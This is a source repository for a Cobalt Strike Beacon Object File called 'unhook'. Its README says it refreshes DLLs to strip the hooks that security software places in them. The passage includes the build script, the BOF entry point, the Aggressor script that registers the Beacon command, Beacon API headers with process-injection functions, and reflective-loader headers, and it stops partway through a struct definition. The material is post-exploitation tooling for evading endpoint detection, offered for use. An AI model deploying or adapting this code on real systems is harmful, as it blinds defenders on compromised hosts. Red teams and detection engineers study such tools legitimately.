├── unhook.x64.o ├── unhook.x86.o ├── make.bat ├── src ├── unhook.c ├── refresh.h ├── unhook.h ├── beacon.h ├── ReflectiveDLLInjection.h ├── apisetmap.h ├── ReflectiveLoader.h ├── apisetmap.c └── refresh.c ├── unhook.cna ├── README └── LICENSE /unhook.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rsmudge/unhook-bof/master/unhook.x64.o -------------------------------------------------------------------------------- /unhook.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rsmudge/unhook-bof/master/unhook.x86.o -------------------------------------------------------------------------------- /make.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | set PLAT="x86" 3 | IF "%Platform%"=="x64" set PLAT="x64" 4 | 5 | cl.exe /GS- /nologo /Od /Oi /c /Isrc src\unhook.c /Founhook.%PLAT%.o 6 | -------------------------------------------------------------------------------- /src/unhook.c: -------------------------------------------------------------------------------- 1 | #include "apisetmap.c" 2 | #include "refresh.c" 3 | #include "unhook.h" 4 | 5 | void go(char* args, int length) { 6 | datap parser; 7 | formatp buffer; 8 | char *out; 9 | int size; 10 | char* stomp; 11 | 12 | BeaconDataParse(&parser, args, length); 13 | stomp = BeaconDataExtract(&parser, NULL); 14 | 15 | BeaconFormatAlloc(&buffer, 64 * 1024); 16 | 17 | RefreshPE(&buffer, stomp); 18 | 19 | /* we're done... I guess */ 20 | BeaconFormatPrintf(&buffer, "Unhook is done.\n"); 21 | 22 | /* post our output */ 23 | out = BeaconFormatToString(&buffer, &size); 24 | BeaconOutput(CALLBACK_OUTPUT, out, size); 25 | 26 | /* clean up */ 27 | BeaconFormatFree(&buffer); 28 | } 29 | -------------------------------------------------------------------------------- /src/refresh.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN 4 | #include 5 | 6 | #ifdef _DEBUG 7 | #define OUTPUTDBGA(str) OutputDebugStringA(str); 8 | #define OUTPUTDBGW(str) OutputDebugStringW(str); 9 | #else 10 | #define OUTPUTDBGA(str) 11 | #define OUTPUTDBGW(str) 12 | #endif 13 | 14 | void RefreshPE(void * out, char* stomp); 15 | HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase); 16 | HMODULE CustomGetModuleHandleW(const PWSTR wszModule); 17 | FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule); 18 | VOID ScanAndFixModule(void * out, PCHAR pKnown, PCHAR pSuspect, PWCHAR wszBaseDllName); 19 | VOID ScanAndFixSection(void * out, PWCHAR wszBaseDllName, PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength); 20 | -------------------------------------------------------------------------------- /unhook.cna: -------------------------------------------------------------------------------- 1 | alias unhook { 2 | local('$barch $handle $data $stomp $args'); 3 | 4 | # figure out the arch of this session 5 | $barch = barch($1); 6 | 7 | # if we're module stomping; don't run the unhook as-is because we'll walk over 8 | # everything. We don't want that. A nice improvement would ask unhooker to skip stomped module. 9 | $stomp = [data_query("metadata")["c2profile"] getString: ".stage.module_ $+ $barch"]; 10 | 11 | # read in the right BOF file 12 | $handle = openf(script_resource("unhook. $+ $barch $+ .o")); 13 | $data = readb($handle, -1); 14 | closef($handle); 15 | 16 | # pack the arguments 17 | $args = bof_pack($1, "z", $stomp); 18 | 19 | btask($1, "Running unhook"); 20 | 21 | # run it.. 22 | beacon_inline_execute($1, $data, "go", $args); 23 | } 24 | 25 | beacon_command_register( 26 | "unhook", 27 | "remove hooks from DLLs in this process", 28 | "Synopsis: unhook\n\nAttempt to remove hooks."); 29 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | This is a Beacon Object File to refresh DLLs and remove their hooks. The code is from Cylance's Universal Unhooking research: 2 | 3 | https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software 4 | 5 | To use: 6 | 7 | Load unhook.cna into Cobalt Strike via Cobalt Strike -> Script Manager 8 | 9 | Run 'unhook' from Beacon 10 | 11 | To build: 12 | 13 | x86: Open Visual Studio x86 Native Tools Command Prompt and type 'make' 14 | x64: Open Visual Studio x64 Croos Tools Command Prompt and type 'make' 15 | 16 | This project derived from: 17 | 18 | Reflective DLL Injection 19 | BSD 3-Clause License 20 | Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 21 | https://github.com/stephenfewer/ReflectiveDLLInjection 22 | 23 | ReflectiveDLLRefresher 24 | BSD 3-Clause License 25 | Copyright (c) 2017, Cylance Inc. 26 | https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher 27 | 28 | Unhook Meterpreter Extension 29 | BSD-3-Clause License 30 | 2006-2018, Rapid7, Inc. 31 | https://github.com/rapid7/metasploit-payloads/commits/master/c/meterpreter/source/extensions/unhook 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2021, Raphael Mudge 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, 10 | this list of conditions and the following disclaimer. 11 | * Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | * Neither the name of nor the names of its contributors may be used to 15 | endorse or promote products derived from this software without specific 16 | prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 22 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 23 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 24 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 25 | INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 26 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 27 | ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /src/unhook.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma intrinsic(strcmp) 3 | 4 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 5 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingW(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCWSTR); 6 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 7 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR); 8 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW(LPCWSTR); 9 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile(HANDLE, DWORD, DWORD, DWORD, SIZE_T); 10 | DECLSPEC_IMPORT void WINAPI KERNEL32$OutputDebugStringA(LPCSTR lpOutputString); 11 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile(LPCVOID); 12 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 13 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree(LPVOID, SIZE_T, DWORD); 14 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD); 15 | 16 | DECLSPEC_IMPORT int __cdecl MSVCRT$_wcsnicmp(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount); 17 | DECLSPEC_IMPORT void * __cdecl MSVCRT$calloc(size_t _NumOfElements,size_t _SizeOfElements); 18 | DECLSPEC_IMPORT void __cdecl MSVCRT$free(void *_Memory); 19 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$mbstowcs_s(size_t *_PtNumOfCharConverted,wchar_t *_DstBuf,size_t _SizeInWords,const char *_SrcBuf,size_t _MaxCount); 20 | DECLSPEC_IMPORT int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size); 21 | DECLSPEC_IMPORT size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount); 22 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strstr(const char *_Str,const char *_SubStr); 23 | DECLSPEC_IMPORT int __cdecl MSVCRT$vsprintf_s(char *buffer, size_t numberOfElements, const char *format, ...); 24 | 25 | #define _wcsnicmp MSVCRT$_wcsnicmp 26 | #define calloc MSVCRT$calloc 27 | #define free MSVCRT$free 28 | #define mbstowcs_s MSVCRT$mbstowcs_s 29 | #define memcmp MSVCRT$memcmp 30 | #define strnlen MSVCRT$strnlen 31 | #define strstr MSVCRT$strstr 32 | #define vsprintf_s MSVCRT$vsprintf_s 33 | 34 | //void dprintf(char * fmt, ...); 35 | #define dprintf // 36 | -------------------------------------------------------------------------------- /src/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | #pragma once 10 | 11 | /* data API */ 12 | typedef struct { 13 | char * original; /* the original buffer [so we can free it] */ 14 | char * buffer; /* current pointer into our buffer */ 15 | int length; /* remaining length of data */ 16 | int size; /* total size of this buffer */ 17 | } datap; 18 | 19 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 20 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 21 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 22 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 23 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 24 | 25 | /* format API */ 26 | typedef struct { 27 | char * original; /* the original buffer [so we can free it] */ 28 | char * buffer; /* current pointer into our buffer */ 29 | int length; /* remaining length of data */ 30 | int size; /* total size of this buffer */ 31 | } formatp; 32 | 33 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 34 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 36 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 37 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 38 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 39 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 40 | 41 | /* Output Functions */ 42 | #define CALLBACK_OUTPUT 0x0 43 | #define CALLBACK_OUTPUT_OEM 0x1e 44 | #define CALLBACK_ERROR 0x0d 45 | #define CALLBACK_OUTPUT_UTF8 0x20 46 | 47 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 48 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 49 | 50 | /* Token Functions */ 51 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 52 | DECLSPEC_IMPORT void BeaconRevertToken(); 53 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 54 | 55 | /* Spawn+Inject Functions */ 56 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 57 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 59 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 60 | 61 | /* Utility Functions */ 62 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 63 | -------------------------------------------------------------------------------- /src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | 32 | #pragma warning(disable: 4311) 33 | #pragma warning(disable: 4312) 34 | 35 | #define WIN32_LEAN_AND_MEAN 36 | #include 37 | 38 | // we declare some common stuff in here... 39 | 40 | #define DLL_METASPLOIT_ATTACH 4 41 | #define DLL_METASPLOIT_DETACH 5 42 | #define DLL_QUERY_HMODULE 6 43 | 44 | #define DEREF( name )*(UINT_PTR *)(name) 45 | #define DEREF_64( name )*(DWORD64 *)(name) 46 | #define DEREF_32( name )*(DWORD *)(name) 47 | #define DEREF_16( name )*(WORD *)(name) 48 | #define DEREF_8( name )*(BYTE *)(name) 49 | 50 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 51 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 52 | 53 | #define DLLEXPORT __declspec( dllexport ) 54 | 55 | //===============================================================================================// 56 | #endif 57 | //===============================================================================================// -------------------------------------------------------------------------------- /src/apisetmap.h: -------------------------------------------------------------------------------- 1 | /************************************************************************************* 2 | * Author: Jeff Tang 3 | * Copyright (c) 2017 Cylance Inc. All rights reserved. * 4 | * * 5 | * Redistribution and use in source and binary forms, with or without modification, * 6 | * are permitted provided that the following conditions are met: * 7 | * * 8 | * 1. Redistributions of source code must retain the above copyright notice, this * 9 | * list of conditions and the following disclaimer. * 10 | * * 11 | * 2. Redistributions in binary form must reproduce the above copyright notice, * 12 | * this list of conditions and the following disclaimer in the documentation and/or * 13 | * other materials provided with the distribution. * 14 | * * 15 | * 3. Neither the name of the copyright holder nor the names of its contributors * 16 | * may be used to endorse or promote products derived from this software without * 17 | * specific prior written permission. * 18 | * * 19 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * 20 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * 21 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * 22 | * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * 23 | * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * 24 | * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * 25 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * 26 | * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * 27 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * 28 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * 29 | * * 30 | *************************************************************************************/ 31 | 32 | #pragma once 33 | #ifndef _APISETMAP_H_ 34 | #define _APISETMAP_H_ 35 | 36 | #define WIN32_LEAN_AND_MEAN 37 | #include 38 | #include "ReflectiveLoader.h" 39 | 40 | _PPEB GetProcessEnvironmentBlock(); 41 | PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList(); 42 | 43 | // Win 10 44 | typedef struct _API_SET_VALUE_ENTRY_V6 45 | { 46 | ULONG Flags; 47 | ULONG NameOffset; 48 | ULONG NameLength; 49 | ULONG ValueOffset; 50 | ULONG ValueLength; 51 | } API_SET_VALUE_ENTRY_V6, *PAPI_SET_VALUE_ENTRY_V6; 52 | 53 | typedef struct _API_SET_NAMESPACE_HASH_ENTRY_V6 54 | { 55 | ULONG Hash; 56 | ULONG Index; 57 | } API_SET_NAMESPACE_HASH_ENTRY_V6, *PAPI_SET_NAMESPACE_HASH_ENTRY_V6; 58 | 59 | typedef struct _API_SET_NAMESPACE_ENTRY_V6 60 | { 61 | ULONG Flags; 62 | ULONG NameOffset; 63 | ULONG Size; 64 | ULONG NameLength; 65 | ULONG DataOffset; 66 | ULONG Count; 67 | } API_SET_NAMESPACE_ENTRY_V6, *PAPI_SET_NAMESPACE_ENTRY_V6; 68 | 69 | typedef struct _API_SET_NAMESPACE_ARRAY_V6 70 | { 71 | ULONG Version; 72 | ULONG Size; 73 | ULONG Flags; 74 | ULONG Count; 75 | ULONG DataOffset; 76 | ULONG HashOffset; 77 | ULONG Multiplier; 78 | API_SET_NAMESPACE_ENTRY_V6 Array[ANYSIZE_ARRAY]; 79 | } API_SET_NAMESPACE_ARRAY_V6, *PAPI_SET_NAMESPACE_ARRAY_V6; 80 | 81 | // Windows 8.1 82 | typedef struct _API_SET_VALUE_ENTRY_V4 83 | { 84 | ULONG Flags; 85 | ULONG NameOffset; 86 | ULONG NameLength; 87 | ULONG ValueOffset; 88 | ULONG ValueLength; 89 | } API_SET_VALUE_ENTRY_V4, *PAPI_SET_VALUE_ENTRY_V4; 90 | 91 | typedef struct _API_SET_VALUE_ARRAY_V4 92 | { 93 | ULONG Flags; 94 | ULONG Count; 95 | API_SET_VALUE_ENTRY_V4 Array[ANYSIZE_ARRAY]; 96 | } API_SET_VALUE_ARRAY_V4, *PAPI_SET_VALUE_ARRAY_V4; 97 | 98 | typedef struct _API_SET_NAMESPACE_ENTRY_V4 99 | { 100 | ULONG Flags; 101 | ULONG NameOffset; 102 | ULONG NameLength; 103 | ULONG AliasOffset; 104 | ULONG AliasLength; 105 | ULONG DataOffset; 106 | } API_SET_NAMESPACE_ENTRY_V4, *PAPI_SET_NAMESPACE_ENTRY_V4; 107 | 108 | typedef struct _API_SET_NAMESPACE_ARRAY_V4 109 | { 110 | ULONG Version; 111 | ULONG Size; 112 | ULONG Flags; 113 | ULONG Count; 114 | API_SET_NAMESPACE_ENTRY_V4 Array[ANYSIZE_ARRAY]; 115 | } API_SET_NAMESPACE_ARRAY_V4, *PAPI_SET_NAMESPACE_ARRAY_V4; 116 | 117 | // Windows 7/8 118 | typedef struct _API_SET_VALUE_ENTRY_V2 119 | { 120 | ULONG NameOffset; 121 | ULONG NameLength; 122 | ULONG ValueOffset; 123 | ULONG ValueLength; 124 | } API_SET_VALUE_ENTRY_V2, *PAPI_SET_VALUE_ENTRY_V2; 125 | 126 | typedef struct _API_SET_VALUE_ARRAY_V2 127 | { 128 | ULONG Count; 129 | API_SET_VALUE_ENTRY_V2 Array[ANYSIZE_ARRAY]; 130 | } API_SET_VALUE_ARRAY_V2, *PAPI_SET_VALUE_ARRAY_V2; 131 | 132 | typedef struct _API_SET_NAMESPACE_ENTRY_V2 133 | { 134 | ULONG NameOffset; 135 | ULONG NameLength; 136 | ULONG DataOffset; 137 | } API_SET_NAMESPACE_ENTRY_V2, *PAPI_SET_NAMESPACE_ENTRY_V2; 138 | 139 | typedef struct _API_SET_NAMESPACE_ARRAY_V2 140 | { 141 | ULONG Version; 142 | ULONG Count; 143 | API_SET_NAMESPACE_ENTRY_V2 Array[ANYSIZE_ARRAY]; 144 | } API_SET_NAMESPACE_ARRAY_V2, *PAPI_SET_NAMESPACE_ARRAY_V2; 145 | 146 | PWCHAR GetRedirectedName(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize); 147 | PWCHAR GetRedirectedName_V6(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize); 148 | PWCHAR GetRedirectedName_V4(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize); 149 | PWCHAR GetRedirectedName_V2(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize); 150 | 151 | #endif // _APISETMAP_H_ 152 | -------------------------------------------------------------------------------- /src/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | // Enable this define to turn on locking of memory to prevent paging 39 | #define ENABLE_STOPPAGING 40 | 41 | #define EXITFUNC_SEH 0xEA320EFE 42 | #define EXITFUNC_THREAD 0x0A2A1DE0 43 | #define EXITFUNC_PROCESS 0x56A2B5F0 44 | 45 | typedef HMODULE(WINAPI*LOADLIBRARYA)(LPCSTR); 46 | typedef FARPROC(WINAPI*GETPROCADDRESS)(HMODULE,LPCSTR); 47 | typedef LPVOID(WINAPI*VIRTUALALLOC)(LPVOID,SIZE_T,DWORD,DWORD); 48 | typedef DWORD(NTAPI*NTFLUSHINSTRUCTIONCACHE)(HANDLE,PVOID,ULONG); 49 | 50 | #define KERNEL32DLL_HASH 0x6A4ABC5B 51 | #define NTDLLDLL_HASH 0x3CFA685D 52 | 53 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 54 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 55 | #define VIRTUALALLOC_HASH 0x91AFCA54 56 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 57 | 58 | #ifdef ENABLE_STOPPAGING 59 | typedef LPVOID(WINAPI*VIRTUALLOCK)(LPVOID,SIZE_T); 60 | #define VIRTUALLOCK_HASH 0x0EF632F2 61 | #endif 62 | 63 | #define IMAGE_REL_BASED_ARM_MOV32A 5 64 | #define IMAGE_REL_BASED_ARM_MOV32T 7 65 | 66 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 67 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 68 | #define ARM_MOVW 0xF2400000 69 | #define ARM_MOVT 0xF2C00000 70 | 71 | #define HASH_KEY 13 72 | //===============================================================================================// 73 | #pragma intrinsic( _rotr ) 74 | 75 | __forceinline DWORD ror( DWORD d ) 76 | { 77 | return _rotr( d, HASH_KEY ); 78 | } 79 | 80 | __forceinline DWORD _hash( char * c ) 81 | { 82 | register DWORD h = 0; 83 | do 84 | { 85 | h = ror( h ); 86 | h += *c; 87 | } while( *++c ); 88 | 89 | return h; 90 | } 91 | //===============================================================================================// 92 | typedef struct _UNICODE_STR 93 | { 94 | USHORT Length; 95 | USHORT MaximumLength; 96 | PWSTR pBuffer; 97 | } UNICODE_STR, *PUNICODE_STR; 98 | 99 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 100 | //__declspec( align(8) ) 101 | typedef struct _LDR_DATA_TABLE_ENTRY 102 | { 103 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 104 | LIST_ENTRY InMemoryOrderModuleList; 105 | LIST_ENTRY InInitializationOrderModuleList; 106 | PVOID DllBase; 107 | PVOID EntryPoint; 108 | ULONG SizeOfImage; 109 | UNICODE_STR FullDllName; 110 | UNICODE_STR BaseDllName; 111 | ULONG Flags; 112 | SHORT LoadCount; 113 | SHORT TlsIndex; 114 | LIST_ENTRY HashTableEntry; 115 | ULONG TimeDateStamp; 116 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 119 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 120 | { 121 | DWORD dwLength; 122 | DWORD dwInitialized; 123 | LPVOID lpSsHandle; 124 | LIST_ENTRY InLoadOrderModuleList; 125 | LIST_ENTRY InMemoryOrderModuleList; 126 | LIST_ENTRY InInitializationOrderModuleList; 127 | LPVOID lpEntryInProgress; 128 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 129 | 130 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 131 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 132 | { 133 | struct _PEB_FREE_BLOCK * pNext; 134 | DWORD dwSize; 135 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 136 | 137 | // struct _PEB is defined in Winternl.h but it is incomplete 138 | // WinDbg> dt -v ntdll!_PEB 139 | typedef struct __PEB // 65 elements, 0x210 bytes 140 | { 141 | BYTE bInheritedAddressSpace; 142 | BYTE bReadImageFileExecOptions; 143 | BYTE bBeingDebugged; 144 | BYTE bSpareBool; 145 | LPVOID lpMutant; 146 | LPVOID lpImageBaseAddress; 147 | PPEB_LDR_DATA pLdr; 148 | LPVOID lpProcessParameters; 149 | LPVOID lpSubSystemData; 150 | LPVOID lpProcessHeap; 151 | PRTL_CRITICAL_SECTION pFastPebLock; 152 | LPVOID lpFastPebLockRoutine; 153 | LPVOID lpFastPebUnlockRoutine; 154 | DWORD dwEnvironmentUpdateCount; 155 | LPVOID lpKernelCallbackTable; 156 | DWORD dwSystemReserved; 157 | DWORD dwAtlThunkSListPtr32; 158 | PPEB_FREE_BLOCK pFreeList; 159 | DWORD dwTlsExpansionCounter; 160 | LPVOID lpTlsBitmap; 161 | DWORD dwTlsBitmapBits[2]; 162 | LPVOID lpReadOnlySharedMemoryBase; 163 | LPVOID lpReadOnlySharedMemoryHeap; 164 | LPVOID lpReadOnlyStaticServerData; 165 | LPVOID lpAnsiCodePageData; 166 | LPVOID lpOemCodePageData; 167 | LPVOID lpUnicodeCaseTableData; 168 | DWORD dwNumberOfProcessors; 169 | DWORD dwNtGlobalFlag; 170 | LARGE_INTEGER 